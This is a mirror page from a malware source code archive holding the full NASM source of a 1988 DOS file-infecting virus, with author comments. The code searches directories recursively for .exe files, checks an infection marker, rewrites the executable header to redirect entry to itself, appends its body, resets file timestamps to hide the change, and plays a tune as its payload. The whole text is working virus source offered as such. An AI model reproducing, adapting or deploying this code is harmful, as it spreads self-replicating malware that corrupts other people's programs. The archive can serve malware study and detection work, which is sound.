mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
1002 lines
27 KiB
NASM
1002 lines
27 KiB
NASM
comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 /
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data_area struc ;Define a pattern for working data
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;area
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DS_save dw ?
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ES_save dw ?
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IP_save dw ?
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CS_save dw ?
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SS_save dw ?
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filematch db '*.exe',00h ;Names for files to infect
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matchall db '*.*',00h ;needed for the matching procedure
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infected dw 00h ;A very useful flag
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help_flag dw 00h ;These two flags are needed to
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where_from_flag dw 00h ;determine if virus is free running
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;or from an infected program
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;therefore it's very important
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;that where_from_flag value
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;is set to zero at assembly time
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handle dw ?
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ip_old dw ? ;old instruction pointer
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cs_old dw ? ;old value of code segment
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ss_old dw ?
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far_push dw ?
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save_push dw ?
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buffer1 db '\',63 dup (?)
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virus_stamp db 'motherfucker' ;Very hard to obtain in a random way
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buffer2 db 2b0h dup (?)
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new_area db 64 dup (?)
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new_data db 64 dup (?)
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pointer1 dw ?
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pointer2 dw ?
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pointer3 dw ?
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pointer4 dw ?
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pointer5 dw ?
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pointer6 dw ?
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pointer7 dw ?
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pointer8 dw ?
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data_area ends
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org 100h ;Defined for .com file as virus must
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;be able to run on itself
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start: call setup_data ;This is a near call therefore it's a
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;three byte instruction.It's purpose is
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;to catch correct data area address
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;even when virus is appended to the
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;infected .exe program
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adjust equ offset pgm_start ;Known offset value
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pgm_start label word
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virussize equ 2793
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work: mov ax,ds ;Save old DS
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push cs
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pop ds ;Update to needed DS value
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mov si,offset buffer.DS_save ;Put old DS in a quiet place
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sub si,adjust
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add si,bx
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mov [si],ax
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mov si,offset buffer.ES_save ;Save it because Get DTA side effects
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sub si,adjust
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add si,bx
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mov ax,es
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mov [si],ax
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push cs ;Imperative because DI usage
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pop es
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push bx ;It's imperative to always keep
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;this value unchanged
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mov ax,2f00h ;Get DTA function call
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int 21h
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mov cx,bx ;save address found
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pop bx
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mov si,offset buffer.pointer1
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sub si,adjust
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add si,bx
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mov [si],cx
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add si,2 ;Locate the segment immediately above
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mov ax,es
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mov [si],ax
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push cs
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pop es
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mov di,offset buffer.buffer1 ;adjust for first search
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inc di ;Jump over the '\'
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sub di,adjust
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add di,bx
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mov dx,0000h
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push bx
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call search_exe
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pop bx
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mov si,offset buffer.where_from_flag
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sub si,adjust
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add si,bx
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cmp word ptr [si],0000h
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jnz infected_run
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int 020H
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infected_run:
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mov si,offset buffer.pointer1
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sub si,adjust
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add si,bx
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mov dx,[si]
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push ds
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mov ax,[si+2]
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mov ds,ax
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push bx
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mov ax,1a00h
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int 21h
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pop bx
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pop ds ;Restore original DTA
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mov si,offset buffer.ES_save
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sub si,adjust
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add si,bx
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mov ax,[si]
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mov es,ax ;Restore ES
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push bx ;Here you can do whatever you want
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call mary_proc
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pop bx
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mov si,offset buffer.IP_save
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sub si,adjust
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add si,bx
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mov ax,[si]
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mov dx,[si+2]
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mov si,offset buffer.far_push ;Restore original code
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sub si,adjust ;segment
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add si,bx
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mov cx,[si]
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push ax
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mov ax,cs
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sub ax,cx
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mov di,ax ;For stack
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add dx,ax
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pop ax
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mov si,offset buffer.SS_save
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sub si,adjust ;Restore stack segment
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add si,bx
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mov cx,word ptr [si]
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add cx,di
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push es
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pop ds
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cli
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mov ss,cx
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sti
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push dx
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push ax
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retf
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search_exe PROC
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push si
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push dx
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call transfer_filespec ;transfer filename in another
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;working area
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call find_first ;try to find a first match
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jc not_here ;first match not found
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call try_to_infect ;if found try to infect
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;infected != 0 if success
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mov si,offset buffer.infected
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sub si,adjust
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add si,bx
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test word ptr [si],0ffffh
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jz try_next
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jmp quiet_exit
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try_next:
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call find_next ;If infection was not succesful
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;try once more
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jc not_here
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call try_to_infect ;If match found try to infect
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mov si,offset buffer.infected ;again
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sub si,adjust
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add si,bx
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test word ptr [si],0ffffh
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jz try_next
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jmp quiet_exit ;quiet exit simply jumps
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;to a return instruction
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not_here:
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pop dx ;If first searches are
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push dx ;unsuccesful try a '*.*' match
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call search_all
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call find_first
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jnc attribute_test ;i.e. expect probably to
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;find a subdirectory
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quiet_exit:
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pop dx
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pop si
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ret
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attribute_test:
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mov si,dx ;offset of DTA
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test byte ptr [si+015h],010h ;where attribute byte is to
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;be found.Try first with
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;subdirectory attribute
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jne dir_found ;subdirectory found
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more_tries:
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call find_next ;Since the search was initiated
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;with '*.*' if this is not a
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;directory try to found one
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jc quiet_exit ;No sense to search more
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test byte ptr [si+015h],010h
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jz more_tries ;Search to the end
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dir_found:
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cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
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;mark '.'
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jz more_tries ;looking for files no
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;subdirectories
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call dta_compute ;Valid entry, now set some DTA
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;and continue to search
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push ax
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mov ah,01Ah ;Set DTA function call
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int 021h
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pop ax
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push si
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mov si,offset buffer.infected
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sub si,adjust
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add si,bx
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test word ptr [si],0ffffh
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pop si
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jnz quiet_exit
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jmp more_tries
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search_exe ENDP
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dta_compute PROC
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push di ;Save some registers
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push si
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push ax
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push bx
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cld ;Up count for SI,DI pair
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mov si,dx ;DTA address to SI
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add si,01EH ;and add subdirectory
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;name offset
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store_loop:
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lodsb
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stosb
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or al,al
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jne store_loop ;store loop
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std
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stosb
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mov al,05Ch ;Put in place the path name constructor
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stosb
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add di,2 ;Adjust di for new searches
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call search_exe ;a heavily recursion
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pop bx ;some cleanup and exit
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pop ax
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pop si
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pop di
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ret
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dta_compute ENDP
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try_to_infect PROC
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push es
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push bx
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mov ax,2f00h ;Get DTA function call
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int 21h
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mov ax,bx
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pop bx
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mov si,offset buffer.pointer3
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sub si,adjust
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add si,bx
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mov [si],ax ;Offset saved
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add si,2
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mov ax,es
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mov [si],ax
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pop es ;Segment located just above
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mov dx,offset buffer.new_data
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sub dx,adjust
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add dx,bx
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push bx
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mov ax,1a00h
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int 21h ;Set DTA function call
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pop bx ;It's very important to save BX in all calls
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mov di,offset buffer.new_area
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mov si,offset buffer.buffer1
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sub di,adjust
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sub si,adjust
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add di,bx
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add si,bx
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cld ; Move previously found pathname or filename
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; to new data area
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move_path:
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lodsb
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stosb
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or al,al
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jnz move_path
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std ;adjust DI to recieve
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mov al,'\' ;filename.
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mov cx,0040h
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std ;Search backward
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repne scasb
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mov si,offset buffer.pointer3
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sub si,adjust
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add si,bx
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mov ax,[si]
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mov si,ax
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add di,2
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o_kay:
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add si,001eh ;The beginning of the filename...
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cld ;Now move name
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move_fnm:
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lodsb
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stosb
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or al,al
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jnz move_fnm
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push dx
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push bx
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mov dx,offset buffer.new_area
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sub dx,adjust
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add dx,bx
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mov ax,3d02h ;Open file with handle for read/write
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int 21h
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pop bx
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pop dx
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jnc go_ahead ;In case file cannot be opened
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jmp error_exit
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go_ahead:
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov [si],ax ;Save handle
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push bx
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mov bx,ax ;Prepare for lseek
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push dx
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mov cx,0000h ;Look at the end of the file
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mov dx,0000h ;Offset of -12 from the end of the file
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mov ax,4202h ;Lseek function call
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int 21h
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mov cx,dx
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pop dx
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pop bx
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jnc compute_length
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jmp close_error
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compute_length:
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sub ax,000ch
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sbb cx,0000h ;Exact position
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save_offset:
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mov si,offset buffer.pointer5
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sub si,adjust
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add si,bx
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mov [si],ax
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add si,2
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mov [si],cx
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push bx
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push dx
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov bx,[si]
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mov dx,ax
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mov ax,4200h ;From beginning of file
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int 21h ;Lseek function call
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pop dx
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pop bx
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jnc set_buffer
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jmp close_error
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set_buffer:
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push bx
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push dx
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mov dx,offset buffer.new_data
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sub dx,adjust
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add dx,bx
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov bx,[si] ;Load handle
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mov cx,000ch
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mov ax,3f00h
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int 21h ;Read function call
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pop dx
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pop bx
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jnc read_ok
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jmp close_error
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read_ok:
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mov si,offset buffer.virus_stamp
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mov di,offset buffer.new_data
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sub si,adjust
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sub di,adjust
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add si,bx
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add di,bx
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mov cx,12 ;Length of strings to compare
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repe cmpsb
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pushf
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mov si,offset buffer.infected
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sub si,adjust
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add si,bx
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mov word ptr [si],0000h
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popf
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jnz infect_it
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close_error:
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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push bx
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mov bx,[si]
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mov ax,3e00h ;Close file function call
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int 21h
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pop bx
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jmp error_exit
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infect_it:
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mov si,offset buffer.infected
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sub si,adjust
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add si,bx
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mov word ptr [si],7777h
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mov si,offset buffer.where_from_flag
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sub si,adjust
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add si,bx
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mov ax,[si]
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sub si,2
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mov [si],ax ;This code effectively moves
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;where_from_flag into help_flag
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add si,2
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mov [si],5a5ah ;Ready to infect
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push bx
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push dx
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov bx,[si]
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xor cx,cx
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xor dx,dx
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mov ax,4200h ;From beginning of file
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int 21h ;Lseek function call
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pop dx
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pop bx
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jnc set_new_data
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jmp append_ok
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set_new_data:
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push bx
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push dx
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mov dx,offset buffer.new_data
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sub dx,adjust
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add dx,bx
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov bx,[si] ;Load handle
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mov cx,001bh ;Read formatted exe header
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mov ax,3f00h
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int 21h ;Read function call
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pop dx
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pop bx
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jnc read_header
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jmp append_ok
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read_header:
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nop ;some code to modify header
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mov si,offset buffer.pointer5
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sub si,adjust
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add si,bx
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mov ax,[si]
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add si,2
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add ax,0ch
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adc word ptr [si],0000h
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sub si,2
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mov [si],ax ;This code restores original filelength
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mov si,offset buffer.new_data
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sub si,adjust
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add si,bx
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mov ax,[si]
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cmp ax,5a4dh ;check for valid exe file
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jz valid_exe
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jmp append_ok
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valid_exe:
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mov ax,[si+8] ;Load module size
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xor dx,dx
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1 ;Multiply by 16
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push ax
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push dx ;Adjust new size
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push cx
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mov dx,virussize-896+64
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push dx
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mov cx,0009h
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shr dx,cl
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add word ptr [si+4],dx
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pop dx
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and dx,01ffh
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add dx,word ptr [si+2]
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cmp dx,512
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jl adjust_okay
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sub dx,512
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inc word ptr [si+4]
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adjust_okay:
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mov word ptr [si+2],dx
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pop cx
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pop dx
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pop ax
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push si ;This SI is very useful so save it
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mov si,offset buffer.pointer5
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sub si,adjust
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add si,bx
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sub [si],ax
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mov ax,[si]
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sbb [si+2],dx
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mov dx,[si+2] ;the byte size of the load module
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pop si
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push ax
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push dx
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mov ax,[si+14h]
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mov dx,[si+16h] ;Get CS:IP value
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mov cx,[si+0eh] ;Get SS value
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push si
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mov si,offset buffer.IP_save
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sub si,adjust
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add si,bx
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xchg [si],ax
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xchg [si+2],dx
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mov si,offset buffer.SS_save
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sub si,adjust
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add si,bx
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xchg [si],cx
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mov si,offset buffer.ip_old
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sub si,adjust
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add si,bx
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mov [si],ax
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mov [si+2],dx
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mov si,offset buffer.ss_old
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sub si,adjust
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add si,bx
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mov [si],cx
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pop si
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pop dx
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pop ax
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push ax
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push dx
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1 ;Multiply by 16
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mov cx,0008h
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shl dx,cl
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mov cx,0004h
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shr ax,cl ;A very obscure algorithm to make
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;a segment:offset pair
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mov [si+14h],ax
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mov [si+16h],dx ;Infected values
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push si
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mov si,offset buffer.far_push
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sub si,adjust
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add si,bx
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xchg [si],dx
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mov word ptr [si+2],dx
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pop si
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pop dx
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pop ax
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add ax,virussize
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adc dx,0000h
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mov cx,0003h
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mul_loop:
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1
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shl ax,1
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rcl dx,1 ;Multiply by 4096
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loop mul_loop
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or ax,ax
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jz exact_value
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inc dx
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exact_value:
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mov [si+0eh],dx ;Infected stack segment
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;Write back infected header
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push si
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push bx
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mov si,offset buffer.handle
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sub si,adjust
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add si,bx
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mov bx,[si]
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mov ax,5700h ;Get time function
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int 21h
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|
pop bx
|
|
pop si
|
|
jnc correct_time
|
|
jmp append_ok1
|
|
|
|
correct_time:
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h ;From beginning of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
jnc continue_infection
|
|
jmp append_ok1
|
|
|
|
continue_infection:
|
|
push cx
|
|
push dx
|
|
push bx
|
|
mov dx,offset buffer.new_data
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si] ;Load handle
|
|
mov cx,001bh ;Write infected exe header
|
|
mov ax,4000h
|
|
int 21h ;Write function call
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
jnc glue_virus
|
|
jmp append_ok1
|
|
|
|
glue_virus:
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h ;From the end of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
jnc write_data
|
|
jmp append_ok1
|
|
|
|
write_data:
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
|
|
push dx
|
|
push cx
|
|
mov dx,bx
|
|
sub dx,3 ;The starting three byte call instruction
|
|
push es
|
|
push bx
|
|
push dx
|
|
push si
|
|
mov ax,2f00h
|
|
int 21h
|
|
pop si
|
|
pop dx
|
|
push es
|
|
push bx
|
|
push si
|
|
mov ax,1a00h
|
|
int 21h
|
|
pop si
|
|
mov bx,[si] ;Load handle
|
|
mov cx,virussize-896+64 ;Length of virus obtained
|
|
mov ax,4000h ;with dir
|
|
int 21h
|
|
lahf ;Write function call
|
|
pop bx
|
|
pop es
|
|
push ds
|
|
push es
|
|
pop ds
|
|
mov dx,bx
|
|
|
|
push ax
|
|
mov ax,1a00h
|
|
int 21h
|
|
pop ax
|
|
pop ds
|
|
pop bx
|
|
pop es
|
|
pop cx
|
|
pop dx
|
|
|
|
sahf
|
|
jnc put_stamp ;Error or not file
|
|
jmp append_ok1 ;is closed
|
|
|
|
put_stamp:
|
|
push bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
mov ax,5701h ;Set time function
|
|
int 21h
|
|
pop bx
|
|
append_ok1:
|
|
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov dx,[si+2]
|
|
mov si,offset buffer.IP_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax
|
|
mov [si+2],dx
|
|
mov si,offset buffer.save_push
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov word ptr [si-2],ax
|
|
mov si,offset buffer.ss_old
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov si,offset buffer.SS_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov word ptr [si],ax
|
|
append_ok:
|
|
mov si,offset buffer.help_flag
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
add si,2
|
|
mov [si],ax ;This code effectively moves
|
|
;help_flag into where_from_flag
|
|
jmp close_error
|
|
error_exit:
|
|
mov si,offset buffer.pointer3
|
|
sub si,adjust
|
|
add si,bx
|
|
mov dx,[si] ;Restore original DTA
|
|
add si,2
|
|
mov ax,[si]
|
|
push ds
|
|
mov ds,ax
|
|
mov ax,1a00h ;Set DTA function call
|
|
int 21h
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
try_to_infect ENDP
|
|
|
|
transfer_filespec PROC
|
|
push si
|
|
mov si,offset buffer.filematch ;Transfer name to the working area
|
|
sub si,adjust
|
|
add si,bx
|
|
call byte_move
|
|
pop si
|
|
ret
|
|
transfer_filespec ENDP
|
|
|
|
search_all PROC
|
|
push si
|
|
mov si,offset buffer.matchall ;This is the '*.*' filename
|
|
sub si,adjust
|
|
add si,bx
|
|
call byte_move
|
|
pop si
|
|
ret
|
|
search_all ENDP
|
|
|
|
byte_move PROC
|
|
push ax
|
|
push di
|
|
cld
|
|
move_loop:
|
|
lodsb
|
|
stosb
|
|
or al,al ;The string to move is ASCIIZ
|
|
jne move_loop
|
|
pop di
|
|
pop ax
|
|
ret
|
|
byte_move ENDP
|
|
|
|
find_first PROC
|
|
push cx
|
|
push bx
|
|
cmp dx,0000h
|
|
jnbe over_set
|
|
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
|
sub dx,adjust ;or Disk Transfer area
|
|
add dx,bx
|
|
over_set:
|
|
add dx,02Bh
|
|
mov cx,00010h ;Attribute byte for directory search
|
|
mov ah,01ah
|
|
int 021h ;Set DTA function call
|
|
pop bx
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.buffer1
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov ah,04eh ;find first function call
|
|
int 021h
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
ret
|
|
find_first ENDP
|
|
|
|
find_next PROC
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.buffer1
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov cx,00010h
|
|
mov ah,04fh ;Find next function call
|
|
int 021h
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
ret
|
|
find_next ENDP
|
|
|
|
delay PROC
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
mov ah,2ch ;Read current time
|
|
int 21h
|
|
mov ah,ch
|
|
add al,cl
|
|
add bh,dh
|
|
add bl,dl
|
|
cmp bl,100
|
|
jb secs
|
|
sub bl,100
|
|
inc bh
|
|
secs:
|
|
cmp bh,60
|
|
jb mins
|
|
sub bh,60
|
|
inc al
|
|
mins:
|
|
cmp al,60
|
|
jb hours
|
|
sub al,60
|
|
inc ah
|
|
hours:
|
|
cmp ah,24
|
|
jne tcheck
|
|
sub ah,ah
|
|
tcheck:
|
|
push ax
|
|
mov ah,2ch
|
|
int 21h
|
|
pop ax
|
|
cmp cx,ax
|
|
ja tdquit
|
|
jb tcheck
|
|
cmp dx,bx
|
|
jb tcheck
|
|
tdquit:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
delay ENDP
|
|
|
|
sound PROC
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push di
|
|
|
|
mov al,0b6h
|
|
out 43h,al
|
|
mov dx,14h
|
|
mov ax,533h*896
|
|
div di
|
|
out 42h,al
|
|
mov al,ah
|
|
out 42h,al
|
|
in al,61h
|
|
mov ah,al
|
|
or al,3
|
|
out 61h,al
|
|
mov al,cl
|
|
call delay
|
|
mov al,ah
|
|
out 61h,al
|
|
pop di
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
sound ENDP
|
|
|
|
music_play PROC
|
|
push bx
|
|
push cx
|
|
push di
|
|
push si
|
|
push bp
|
|
freq:
|
|
mov di,[si]
|
|
cmp di,0ffffh
|
|
je end_play
|
|
mov bl,ds:[bp]
|
|
sub cl,cl
|
|
sub bh,bh
|
|
call sound
|
|
add si,2
|
|
inc bp
|
|
jnz freq
|
|
end_play:
|
|
pop bp
|
|
pop si
|
|
pop di
|
|
pop cx
|
|
pop bx
|
|
ret
|
|
music_play ENDP
|
|
|
|
mary_proc PROC
|
|
push bx
|
|
push bp
|
|
mov si,offset mary_freq
|
|
mov bp,offset mary_time
|
|
sub si,adjust
|
|
sub bp,adjust
|
|
add si,bx
|
|
add bp,bx
|
|
call music_play
|
|
pop bp
|
|
pop bx
|
|
ret
|
|
mary_proc ENDP
|
|
|
|
mary_freq dw 262,262,293,329,262,329,293,196
|
|
dw 262,262,293,329,262,262
|
|
dw 262,262,293,329,349,329,293,262
|
|
dw 246,196,220,246,262,262
|
|
dw 220,246,220,174,220,246,262,220
|
|
dw 196,220,196,174,164,174,196
|
|
dw 220,246,220,174,220,246,262,220
|
|
dw 196,262,246,293,262,262,0ffffh
|
|
mary_time db 8 dup(25)
|
|
db 4 dup(25), 50, 50
|
|
db 8 dup(25)
|
|
db 4 dup(25), 50, 50
|
|
db 26, 25, 26, 5 dup(25)
|
|
db 26, 25, 26, 3 dup(25), 30
|
|
db 26, 25, 26, 4 dup(25), 30
|
|
db 4 dup(25), 50, 50
|
|
setup_data:
|
|
cli
|
|
pop bx ;This will catch instruction pointer
|
|
push bx
|
|
sti ;value and after that restore stack
|
|
ret ;pointer value
|
|
buffer data_area <> ;Reseve data_area space
|